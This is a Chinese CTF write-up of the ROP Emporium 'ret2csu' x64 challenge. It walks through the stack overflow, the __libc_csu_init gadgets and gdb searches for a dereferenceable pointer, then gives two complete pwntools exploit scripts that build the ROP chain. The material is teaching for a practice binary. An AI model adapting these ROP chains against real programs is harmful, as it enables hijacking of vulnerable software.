14 ret2csu
参考网址
[原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
ROP Emporium - Ret2csu (x64) - blog.r0kithax.com
ROP Emporium ret2csu_白兰王的博客-CSDN博客
WP
现在的ROP Emporium一共有8题,后几道题相比过去的题有了一些变化,国内的新wp也是非常难找,本篇基于 ROP Emporium - Ret2csu (x64) - blog.r0kithax.com ROP Emporium - Ret2csu (x64) - blog.r0kithax.com这位大佬的wp进行部分的解释。
1 分析
溢出函数 int pwnme() { char s[32]; // [rsp+0h] [rbp-20h] BYREF setvbuf(stdout, 0LL, 2, 0LL); puts("ret2csu by ROP Emporium"); puts("x86_64\n"); memset(s, 0, sizeof(s)); puts("Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.\n"); printf("> "); read(0, s, 0x200uLL); return puts("Thank you!"); } 可以利用函数 void __fastcall __noreturn ret2win(__int64 a1, __int64 a2, __int64 a3) { FILE *stream; // [rsp+20h] [rbp-10h] FILE *streama; // [rsp+20h] [rbp-10h] int i; // [rsp+2Ch] [rbp-4h] if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL ) { stream = fopen("encrypted_flag.dat", "r"); if ( !stream ) { puts("Failed to open encrypted_flag.dat"); exit(1); } g_buf = (char *)malloc(0x21uLL); if ( !g_buf ) { puts("Could not allocate memory"); exit(1); } g_buf = fgets(g_buf, 33, stream); fclose(stream); streama = fopen("key.dat", "r"); if ( !streama ) { puts("Failed to open key.dat"); exit(1); } for ( i = 0; i <= 31; ++i ) g_buf[i] ^= fgetc(streama); *(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL; *(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL; *(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL; puts(g_buf); exit(0); } puts("Incorrect parameters"); exit(1); } # objdump -d ret2csu -M intel | grep ret2win 0000000000400510 <ret2win@plt>: 40062a: e8 e1 fe ff ff call 400510 <ret2win@plt> disassemble ret2win Dump of assembler code for function ret2win@plt: 0x0000000000400510 <+0>: jmp QWORD PTR [rip+0x200b0a] # 0x601020
在64位中传参数需要 rdi、rsi、rdx、rcx、r8、r9六个寄存器,但是在ROP中无法,满足控制rdi、rsi、rdx三个寄存器的ROP链。根据题目提示,在__libc_csu_init函数中,构造,如下所示:
打开ida,依旧是惯例的明显栈溢出的pwnme,ret2win中我们可以看到flag是加密后文件,key文件是钥匙,解密后puts,问题在于传参,1,2,3参数需要符合函数。下面内容便在处理如何把参传入并打开函数。
首先打开ROPgadget,并没有直接的pop rdi, rsi, rdx能让我们使用。我们需要去间接的传参。我们提供了这样一条思路:搜索rdi、rsi、rdx
# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdi 0x00000000004006a3 : pop rdi ; ret # ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rsi 0x00000000004006a1 : pop rsi ; pop r15 ; ret # ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdx
rdx的搜索不到,因此ROP链无法构造。
2__libc_csu_init()
有趣的是,在x86_64
ELF 文件上,可以利用该__libc_csu_init()
函数作为设置大多数 CPU 寄存器与 ROP 链接的位置。让我们反__libc_csu_init()
汇编ret2csu
:
.text:0000000000400640 ; __unwind { .text:0000000000400640 push r15 .text:0000000000400642 push r14 .text:0000000000400644 mov r15, rdx .text:0000000000400647 push r13 .text:0000000000400649 push r12 .text:000000000040064B lea r12, __frame_dummy_init_array_entry .text:0000000000400652 push rbp .text:0000000000400653 lea rbp, __do_global_dtors_aux_fini_array_entry .text:000000000040065A push rbx .text:000000000040065B mov r13d, edi .text:000000000040065E mov r14, rsi .text:0000000000400661 sub rbp, r12 .text:0000000000400664 sub rsp, 8 .text:0000000000400668 sar rbp, 3 .text:000000000040066C call _init_proc .text:0000000000400671 test rbp, rbp .text:0000000000400674 jz short loc_400696 .text:0000000000400676 xor ebx, ebx .text:0000000000400678 nop dword ptr [rax+rax+00000000h] .text:0000000000400680 .text:0000000000400680 loc_400680: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400680 mov rdx, r15 .text:0000000000400683 mov rsi, r14 .text:0000000000400686 mov edi, r13d .text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] .text:000000000040068D add rbx, 1 .text:0000000000400691 cmp rbp, rbx .text:0000000000400694 jnz short loc_400680 .text:0000000000400696 .text:0000000000400696 loc_400696: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400696 add rsp, 8 .text:000000000040069A pop rbx .text:000000000040069B pop rbp .text:000000000040069C pop r12 .text:000000000040069E pop r13 .text:00000000004006A0 pop r14 .text:00000000004006A2 pop r15 .text:00000000004006A4 retn .text:00000000004006A4 ; } // starts at 400640
从上面发现下面两段可用链
第一段: .text:000000000040069A pop rbx .text:000000000040069B pop rbp .text:000000000040069C pop r12 .text:000000000040069E pop r13 .text:00000000004006A0 pop r14 .text:00000000004006A2 pop r15 .text:00000000004006A4 retn 第二段: .text:0000000000400680 mov rdx, r15 .text:0000000000400683 mov rsi, r14 .text:0000000000400686 mov edi, r13d .text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] .text:000000000040068D add rbx, 1 .text:0000000000400691 cmp rbp, rbx .text:0000000000400694 jnz short loc_400680
3两段利用链分析
(1)在第一段中数据出栈,利用第二段中的mov把数据移到对应寄存器。
(2)寄存器与数据分析
rdx--->r15
rsi--->r14
edi--->r13d(后续需要重新针对rdi赋值)
call [r12+rbx*8] 此处调用rbx赋值为0,即变为调用r12寄存器中数据指向的函数
类似于取(*($r12))的值。
add rbx, 1
cmp rbp, rbx
jnz short loc_400680
rbx值为1时,cmp比较相等,jnz不跳转,因此rbx赋值为1
(3)现在需要确定call [r12+rbx*8]处r12的赋值
(4)第一段gadgets执行结束后,接着执行第二段gadgets。但是第二段gadgets执行结束后,没有ret返回,查看__libc_csu_init汇编代码,发现继续执行第一段gadgets直到执行到ret结束。在此第二段的执行代码为
.text:0000000000400680 mov rdx, r15 .text:0000000000400683 mov rsi, r14 .text:0000000000400686 mov edi, r13d .text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] .text:000000000040068D add rbx, 1 .text:0000000000400691 cmp rbp, rbx .text:0000000000400694 jnz short loc_400680 .text:0000000000400696 .text:0000000000400696 loc_400696: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400696 add rsp, 8 .text:000000000040069A pop rbx .text:000000000040069B pop rbp .text:000000000040069C pop r12 .text:000000000040069E pop r13 .text:00000000004006A0 pop r14 .text:00000000004006A2 pop r15 .text:00000000004006A4 retn
add 与pop后需要出栈7次,然后返回,如下图要接后续ROP需要压入7个p64(0)或者压入56个字节
(5)rdi数据不能正确获取,需要重新获取使用
p# ROPgadget --binary ./ret2csu --only "pop|ret|mov|xchg" |grep rdi 0x00000000004006a3 : pop rdi ; ret
4 call
指令调用位于指向的内存地址的函数r12 + rbx * 8
。由于我们需要执行一个作为内存地址指针的值,我们有几个选择:
-
将我们选择的地址写入可写段,并使用可写段作为要取消引用的地址。
-
将任意值压入堆栈,以便
r12 + rbx*8
指向它。因此,任意堆栈值应指向ret2win
. -
在 ELF 文件中搜索包含表示可执行代码有效地址的字节序列的数据。
对于这个挑战,只有第三种方法可行。
我们需要的是一个地址,这个地址上存了一个地址,存的这个地址上存的才是我们想要的ret。我本来也是想试着把ret的地址存到某一块已知位置,但未能实现,这里采用的是大佬的方法。
# ROPgadget --binary ret2csu --only "pop|ret|add|sub" Gadgets information ============================================================ 0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret 执行此处ROP后,rsp没有变化,ret后可以返回原来位置
5gdb中查找指定数据存储位置
例如,查找“0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret”中,地址0x00000000004006b4存储在哪个单元。
(1)gdb 启动ret2csu ,设置断点,b main 然后r运行
(2)查看程序所占区域
pwndbg> info proc mappings process 86225 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/wdp/Desktop/pwn/rop/ret2csu 0x600000 0x601000 0x1000 0x0 /home/wdp/Desktop/pwn/rop/ret2csu 0x601000 0x602000 0x1000 0x1000 /home/wdp/Desktop/pwn/rop/ret2csu 0x7ffff780a000 0x7ffff79ca000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff79ca000 0x7ffff7bca000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bca000 0x7ffff7bce000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bce000 0x7ffff7bd0000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bd0000 0x7ffff7bd4000 0x4000 0x0 0x7ffff7bd4000 0x7ffff7bd5000 0x1000 0x0 /home/wdp/Desktop/pwn/rop/libret2csu.so 0x7ffff7bd5000 0x7ffff7dd5000 0x200000 0x1000 /home/wdp/Desktop/pwn/rop/libret2csu.so 0x7ffff7dd5000 0x7ffff7dd6000 0x1000 0x1000 /home/wdp/Desktop/pwn/rop/libret2csu.so 0x7ffff7dd6000 0x7ffff7dd7000 0x1000 0x2000 /home/wdp/Desktop/pwn/rop/libret2csu.so 0x7ffff7dd7000 0x7ffff7dfd000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fd8000 0x7ffff7fdb000 0x3000 0x0 0x7ffff7ff6000 0x7ffff7ff7000 0x1000 0x0 0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
在前三行数据中,显示了ret2csu所占的内存区域为0x400000 -0x401000、 0x600000-0x601000、0x601000-0x602000三个区域
Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/wdp/Desktop/pwn/rop/ret2csu 0x600000 0x601000 0x1000 0x0 /home/wdp/Desktop/pwn/rop/ret2csu 0x601000 0x602000 0x1000 0x1000 /home/wdp/Desktop/pwn/rop/ret2csu
(3)在每个区域中搜索“0x00000000004006b4”
pwndbg> find /g 0x400000 , 0x401000,0x00000000004006b4 warning: Unable to access 4097 bytes of target memory at 0x400000, halting search. Pattern not found. pwndbg> find /g 0x400000 , 0x400fff,0x00000000004006b4 0x4003b0 0x400e48 2 patterns found pwndbg> find /g 0x600000 , 0x601000,0x00000000004006b4 0x6003b0 0x600e48 2 patterns found. pwndbg> find /g 0x601000 , 0x602000,0x00000000004006b4 warning: Unable to access 4097 bytes of target memory at 0x601000, halting search. Pattern not found. pwndbg> find /g 0x601000 , 0x601fff,0x00000000004006b4 Pattern not . 注,在搜索报错“warning: Unable to access 4097 bytes of target memory at 0x601000, halting search.”,由于范围为[起始值,结束值),区域中不包含结束值,结束值减一即可。例如“find /g 0x601000 , 0x601fff,0x00000000004006b4” pwndbg> x/gx 0x400e48 0x400e48: 0x00000000004006b4
找到在地址0x400e48中,数据0x00000000004006b4指向“sub rsp, 8 ; add rsp, 8 ; ret”r12赋值为:0x00600e48;dereferenceable_addr = p64(0x00600e48)
6 大佬exp分析
很工整,可以试着理解一下的:
from pwn import * # Set the pwntools context context.arch = 'amd64' context.log_level = 'debug' # Project constants PROCESS = './ret2csu' io = process(PROCESS) # Debugging ''' gdbscript = "b *0x0040069a" pid = gdb.attach(io, gdbscript=gdbscript) ''' # ROP Gadgets pop_rdi_ret = p64(0x004006a3) # pop rdi; ret; # The third stack value needs to be the RSP value ret2csu_gadget_staging = p64(0x0040069a) # pop rbx; # pop rbp; # pop r12; # pop r13; # pop r14; # pop r15; # ret ret2csu_gadget_call_offset = p64(0x00400680) # mov rdx, r15; # mov rsi, r14; # mov edi, r13d; # call qword [r12 + rbx*8] ''' Pointer to an executable location with the following gadget: sub rsp, 8; add rsp, 8; ret; ''' dereferenceable_addr = p64(0x00600e48) ret2win = p64(io.elf.plt['ret2win']) ''' R15 = RDX = 0xd00df00dd00df00d R14 = RSI = 0xcafebabecafebabe R13 = RDI = 0xdeadbeefdeadbeef R12 = 0x00600e48 RBX = 0x0 ''' # Craft the ROP chain rop_chain = b"".join([ ret2csu_gadget_staging, p64(0), # RBX = 0 p64(0x01), # RBP = 0x01; this is important so that we can avoid the conditional jump in __libc_csu_init after calling the dereferenced address dereferenceable_addr, # R12 = pointer to a safe address to dereference p64(0xdeadbeefdeadbeef), # R13 = RDI = 0xdeadbeefdeadbeef p64(0xcafebabecafebabe), # R14 = RSI = 0xcafebabecafebabe p64(0xd00df00dd00df00d), # R15 = RDX = 0xd00df00dd00df00d ret2csu_gadget_call_offset, # Call the value of the dereferenced address p64(0), # Align the stack so that after the values pop, we still have control of it p64(0), p64(0), p64(0), p64(0), p64(0), p64(0), pop_rdi_ret, # Adjust RDI back to 0xdeadbeefdeadbeef p64(0xdeadbeefdeadbeef), ret2win # Call ret2win with the necessary arguments ]) # Craft the payload offset = 40 padding = b"A" * offset payload = b"".join([ padding, rop_chain ]) # Send the payload io.clean() io.sendline(payload) io.interactive()
第一段: .text:000000000040069A pop rbx .text:000000000040069B pop rbp .text:000000000040069C pop r12 .text:000000000040069E pop r13 .text:00000000004006A0 pop r14 .text:00000000004006A2 pop r15 .text:00000000004006A4 retn 第二段: .text:0000000000400680 mov rdx, r15 .text:0000000000400683 mov rsi, r14 .text:0000000000400686 mov edi, r13d .text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] .text:000000000040068D add rbx, 1 .text:0000000000400691 cmp rbp, rbx .text:0000000000400694 jnz short loc_400680
exp
from pwn import * p = process('./ret2csu') e = ELF('./ret2csu') ret2win_got = e.got['ret2win'] ret2win_addr=0x0000000000400510 #a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL gadgets1=0x000000000040069A gadgets2=0x0000000000400680 pop_rdi=0x00000000004006a3 dereferenceable_addr = p64(0x00600e48) payload=b'a'*(0x20+8) payload+=p64(gadgets1) payload+=p64(0x0) payload+=p64(0x1) payload+=dereferenceable_addr payload+=p64(0xDEADBEEFDEADBEEF) payload+=p64(0xCAFEBABECAFEBABE) payload+=p64(0xD00DF00DD00DF00D) payload+=p64(gadgets2) payload+=b'a'*56 payload+=p64(pop_rdi) payload+=p64(0xDEADBEEFDEADBEEF) payload+=p64(ret2win_addr) p.recvuntil('>') p.sendline(payload) print(p.recvall())
补充:ret2csu
网址:[原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr
write 函数原型是 write (1,address,len) ,1 表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
第一发 payload
第二发 payload
read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面
第三发 payload